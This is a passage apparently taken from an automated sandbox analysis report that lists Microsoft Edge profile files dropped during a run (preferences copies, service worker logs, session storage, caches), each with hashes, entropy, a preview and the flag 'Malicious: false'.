Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF41d77.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567242378609127
Encrypted:	false
SSDEEP:	768:Gy2AU7WzXW5w1df4ni8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNVIw9v1rwX3pRtuW:Gbh7OXWa1dfaiu1ja8PV+vtN
MD5:	4C32A733722A27D18B6B3AB4FBF3B5CE
SHA1:	5AEA812EB4C2D1BABEA9D6F997FC6341236A2D9A
SHA-256:	D0EF572D6C09C2FE4186C44CF10C07492F131F2F8B82022DE7FF5C1250FF86EB
SHA-512:	433701D574C577FFCF9F0294CD7505BAAFC693A78E1FA216C68F28B863F0A4150CEE4146C36A3D40B0BAFE8924D6D74059F12D33ED67A0415A4471D976B77A89
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF46a30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567242378609127
Encrypted:	false
SSDEEP:	768:Gy2AU7WzXW5w1df4ni8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNVIw9v1rwX3pRtuW:Gbh7OXWa1dfaiu1ja8PV+vtN
MD5:	4C32A733722A27D18B6B3AB4FBF3B5CE
SHA1:	5AEA812EB4C2D1BABEA9D6F997FC6341236A2D9A
SHA-256:	D0EF572D6C09C2FE4186C44CF10C07492F131F2F8B82022DE7FF5C1250FF86EB
SHA-512:	433701D574C577FFCF9F0294CD7505BAAFC693A78E1FA216C68F28B863F0A4150CEE4146C36A3D40B0BAFE8924D6D74059F12D33ED67A0415A4471D976B77A89
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376861561798631","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376861561798631","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839570052448505
Encrypted:	false
SSDEEP:	48:F2emiUtrdDHfBiVXrdYx/grdDCBi6rd5Bi8:F1miUtxDHGxYxYxDOxP
MD5:	3ADC0DAE768187806B8854DC928A9CC0
SHA1:	A3748143077B95F2F9D1694318AAD63814E74B0F
SHA-256:	0C511767496521B514CC9E44CB5E40572385B9E6B0179296718AF63099625E1C
SHA-512:	671941A4FE7A102FCFAF29839BC5163F90D4FEC5FCAAFB629156D7817A02C063EC4B6B375D0DFEE8AC04A27C613CA200895AD13F7DB2909163201D605816CC5C
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.aM.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.100478957592474
Encrypted:	false
SSDEEP:	6:HGhsFR1N723oH+TcwtE/a252KLlVGZJAq2PN723oH+TcwtE/a2ZIFUv:qkxaYeb8xLAJAvVaYeb8J2FUv
MD5:	57E8C81564EBCC2656715F463E460F43
SHA1:	B1915FD7B5488A7C4B72CBBC0EA4EFBC08616919
SHA-256:	D7F223B4CD10A3A96DE5613E9C8AA518486E950339CEC2E1DA0AAA3774B1139E
SHA-512:	9EF40CA79F991D87DE4D8E24C03B221CEE0513A95411FE3B631D5065C2189E19AE49EB9CC9AF31C8E532175D432AE15DF1B7D8EAA62ABC95687E94A656E03B84
Malicious:	false
Preview:	2024/11/23-13:53:03.098 aa0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/23-13:53:03.194 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.57834201607665
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYg/MO:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFJ
MD5:	CD1C9D700ECBF52D9DA2DA89D11E4712
SHA1:	18B38C329CD1F3BE516A79FFEDD9DAF9E666766D
SHA-256:	4FA039090055795045177D67A876037EBFD4082ABF986890A8CA2ADB2135D09F
SHA-512:	9FB75D4996503AB02EB1DF46A82FE12B262A434680BA05C210A5CC0434A976C4658720ECFA5F917B3AB252DC66C0C50DDF787CD1066B7CC09AAF0AFE32DA0370
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.38533086153432
Encrypted:	false
SSDEEP:	3072:eXZO5EtkW4b1lwyNRLrrL/ybQMRGby9AtHC2CQW:7lw8LPL/JK997/X
MD5:	10525214957D0BAD88F765FD2C4485C8
SHA1:	9AF3E3C038FD3AC0257A37FC46F178F7C4A34A8A
SHA-256:	8F3A432EF91EC4FA9578A4D1D4F7422C08C63C7C4F56D1D0F8446A5368CF1B32
SHA-512:	3D2D59FF51825D0241792B9B5E7708E300CF33020A5F61391C04E4E2EF795C90B8E734F98D816CDF1D95D9112B1A8B409C95218AA76D434E80C98D1D64F3A299
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTh........,T.8..`,.....L`.....,T...`......L`......Rc>!......exports...Rc6.......module....Rc:.FC....define....Rb..r.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...v.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:C69Xl/ly/l9/lxE0tlla/ljS9Kln:C4mO0gu4n
MD5:	A5EEDFB9779CA9CA9D1B06C9953B7626
SHA1:	DC28E93B993AE21825A7797B97A21423A7C9544F
SHA-256:	0743905FFA75BE40264774869F30202DF7A941B54D3CC078AF0ADBDF03062207
SHA-512:	AB0ABDE3AA6F1AA7D6D650194AE29DA44F423194A7E692AFD6D604FAD5E5E8DFC6E0A82F01E27EE4FC5E04249408D07B99368CBE75B7448C7EC28364046E271F
Malicious:	false
Preview:	@...w.4.oy retne.........................X....,...................J/./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:C69Xl/ly/l9/lxE0tlla/ljS9Kln:C4mO0gu4n
MD5:	A5EEDFB9779CA9CA9D1B06C9953B7626
SHA1:	DC28E93B993AE21825A7797B97A21423A7C9544F
SHA-256:	0743905FFA75BE40264774869F30202DF7A941B54D3CC078AF0ADBDF03062207
SHA-512:	AB0ABDE3AA6F1AA7D6D650194AE29DA44F423194A7E692AFD6D604FAD5E5E8DFC6E0A82F01E27EE4FC5E04249408D07B99368CBE75B7448C7EC28364046E271F
Malicious:	false
Preview:	@...w.4.oy retne.........................X....,...................J/./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF47309.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:C69Xl/ly/l9/lxE0tlla/ljS9Kln:C4mO0gu4n
MD5:	A5EEDFB9779CA9CA9D1B06C9953B7626
SHA1:	DC28E93B993AE21825A7797B97A21423A7C9544F
SHA-256:	0743905FFA75BE40264774869F30202DF7A941B54D3CC078AF0ADBDF03062207
SHA-512:	AB0ABDE3AA6F1AA7D6D650194AE29DA44F423194A7E692AFD6D604FAD5E5E8DFC6E0A82F01E27EE4FC5E04249408D07B99368CBE75B7448C7EC28364046E271F
Malicious:	false
Preview:	@...w.4.oy retne.........................X....,...................J/./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7447
Entropy (8bit):	3.3658693297559927
Encrypted:	false
SSDEEP:	192:87FMBEUi1WnkhoVUT9Xp+PKiB5SLl9iSrBj:QMri1GS9Xp+Ss5SLl9iSrV
MD5:	B9A27CA3B4BD09C5BBCEA373AF44FB71
SHA1:	57E9061A45ECC685687F194AB5B956392558A0F7
SHA-256:	C81AF172A37BC2C6669AE140EFEF8192E2BEF64649C8A0E2FA31EF7066C64FC6
SHA-512:	2AB4BB73B4F8875333903E968A08255C750FBE91C9D81C0B5AC651D30488A497D55CFB20631E7BE2EE7C94D0A1508F8E660469AFCDA18DE16E03C2E107DDA3F4
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............77.0b................next-map-id.1.Cnamespace-3c8b95f9_8ff8_4170_8fdb_751dccc718c7-https://ntp.msn.com/.0V.e................G....................map-0-shd_sweeper.7{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.a.d.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.d.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.w.p.o.-.p.r.1.-.r.e.l.p.v.c.,.1.s.-.w.x.p.r.e.v.-.s.w.,.p.r.g.-.1.s.w.-.d.e.f.e.r.p.t.,.p.r.g.-.1.s.w.-.d.e.f.e.r.p.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.155672630296271
Encrypted:	false
SSDEEP:	6:HGrfGOq2PN723oH+TcwtrQMxIFUt8YGrfDZmw+YGrffekwON723oH+TcwtrQMFLJ:jOvVaYebCFUt8p/+c5OaYebtJ
MD5:	58637D69B53833F8BFB53D6A90CAEAA9
SHA1:	7D306D84C85441595F600AFD5EBE858439081143
SHA-256:	0C4747B10C00A4F6D831E21A2C2A7470001156F90716D4995E889D351F260369
SHA-512:	E5821BD57DDE60A9263AAD43322CF4F851BCD10C060562DD7D92B3D3F46EF9C50D229FCF1EC2D662B4009592A3E25FC6B70F2C380370E6BC69C3055082F40096
Malicious:	false
Preview:	2024/11/23-13:52:42.775 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-13:52:42.776 1830 Recovering log #3.2024/11/23-13:52:42.779 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.155672630296271
Encrypted:	false
SSDEEP:	6:HGrfGOq2PN723oH+TcwtrQMxIFUt8YGrfDZmw+YGrffekwON723oH+TcwtrQMFLJ:jOvVaYebCFUt8p/+c5OaYebtJ
MD5:	58637D69B53833F8BFB53D6A90CAEAA9
SHA1:	7D306D84C85441595F600AFD5EBE858439081143
SHA-256:	0C4747B10C00A4F6D831E21A2C2A7470001156F90716D4995E889D351F260369
SHA-512:	E5821BD57DDE60A9263AAD43322CF4F851BCD10C060562DD7D92B3D3F46EF9C50D229FCF1EC2D662B4009592A3E25FC6B70F2C380370E6BC69C3055082F40096
Malicious:	false
Preview:	2024/11/23-13:52:42.775 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-13:52:42.776 1830 Recovering log #3.2024/11/23-13:52:42.779 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376861564348068

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.801997860175721
Encrypted:	false
SSDEEP:	24:3Fx/z/Hfb1YLFCsZPKrlpsAF4unxatLp3X2amEtG1ChqmI3/QKkOAM4:3H/z/6csZPEzFMLp2FEkCh9IoHOp
MD5:	1390402A2D83AF916A6058E82E27C4D3
SHA1:	ADD3CEA11DCF5F764AD6A683C159CC49D2D82EB6
SHA-256:	FE2E4DA8848ED27A59604CFAC1FCA5C314192D16F0668BDAFFE5951067BB1307
SHA-512:	815889E06E539055B572E2C9EDA8EB0A1896195D16FAFF94C4035D435B137092CAE90F7F614B3BDD443FCD3BBBBBDC650A4E0550D5AC9776139B56B6EBA17AEB
Malicious:	false
Preview:	SNSS.......8.............8........"8.............8.........8.........9.........9......!..9.................................8..9..1..,...9..$...3c8b95f9_8ff8_4170_8fdb_751dccc718c7...8.........9......cq.........8.....8.........................8......................5..0...8..&...{46F3A197-DB49-410A-81B3-94975C835573}.....8.........8............................9.............9..........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......C@P..'..D@P..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.11053748504846
Encrypted:	false
SSDEEP:	6:HGrfy/scq2PN723oH+Tcwt7Uh2ghZIFUt8YGrfy/HNZZmw+YGrfy/HNzkwON723k:p/scvVaYebIhHh2FUt8I/Hf/+I/HN5On
MD5:	343447DCB3534F00538BD96A51530C71
SHA1:	EE964001E9E93EF8339B376FB2BA1902B8937947
SHA-256:	E7D7132F44C4677041ED3BE5A0F66963B6D3D3AE9DA5AC4A3C40C50DE4BF1790
SHA-512:	0CD4D90C445DE649548C4D23142E7B1C16B4EEBF111CB85717D45B9CDA609BAD3C697A9294ADF5E810DE362EC6AFA0759D23972C0D5C0F780912E3DC57343642
Malicious:	false
Preview:	2024/11/23-13:52:41.847 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-13:52:41.848 1e24 Recovering log #3.2024/11/23-13:52:41.848 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.11053748504846
Encrypted:	false
SSDEEP:	6:HGrfy/scq2PN723oH+Tcwt7Uh2ghZIFUt8YGrfy/HNZZmw+YGrfy/HNzkwON723k:p/scvVaYebIhHh2FUt8I/Hf/+I/HN5On
MD5:	343447DCB3534F00538BD96A51530C71
SHA1:	EE964001E9E93EF8339B376FB2BA1902B8937947
SHA-256:	E7D7132F44C4677041ED3BE5A0F66963B6D3D3AE9DA5AC4A3C40C50DE4BF1790
SHA-512:	0CD4D90C445DE649548C4D23142E7B1C16B4EEBF111CB85717D45B9CDA609BAD3C697A9294ADF5E810DE362EC6AFA0759D23972C0D5C0F780912E3DC57343642
Malicious:	false
Preview:	2024/11/23-13:52:41.847 1e24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-13:52:41.848 1e24 Recovering log #3.2024/11/23-13:52:41.848 1e24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

